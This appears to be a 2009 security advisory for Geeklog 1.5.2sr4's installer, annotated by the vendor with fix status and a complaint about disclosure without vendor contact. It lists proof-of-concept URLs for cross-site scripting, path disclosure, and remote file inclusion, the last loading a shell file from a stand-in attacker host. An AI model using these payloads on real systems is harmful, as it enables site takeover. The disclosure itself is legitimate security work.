Geeklog - Pre-Installation Vulnerabilities

Version Affected: 1.5.2sr4 (18th April 2009) (newest)
(...)
Cross Site Scripting:
http://www.website.tld/geeklog/public_html/admin/install/index.php?
mode="><script>alert(0)</script>dbconfig_path="><script>alert(0)</script>

This exact request does not seem to work, but a similar case has already
been reported by someone who called himself Nemesis. I have to admit
that it does still work with the installer for Geeklog 1.6.0 (currently
in beta). We will address that ASAP.


Path Disclosure:
http://www.website.tld/geeklog/public_html/admin/install/index.php?
mode='&dbconfig_path='

Remote File Inclusion:
http://www.website.tld/geeklog/public_html/admin/install/index.php?
mode='&dbconfig_path=http://www.evilsite.tld/shell.txt?

These two have been fixed in the 1.6.0 installer.


-:: Solution ::-
I didn't bother to find one, sorry.

A simple solution is to follow the installation instructions, which
strongly recommend removing the install script after a successful
install. There are also further checks and reminders about this built
into Geeklog.


Disclosure Information:
- Vulnerabilities found and confirmed between 1st and 3rd June 2009.
- Published at InterN0T the 3rd June 2009.
- Bugtraq contacted the 3rd June 2009.

A "Vender contacted" somewhere in between there would have been nice. We
do take security very seriously and we do give proper credits.
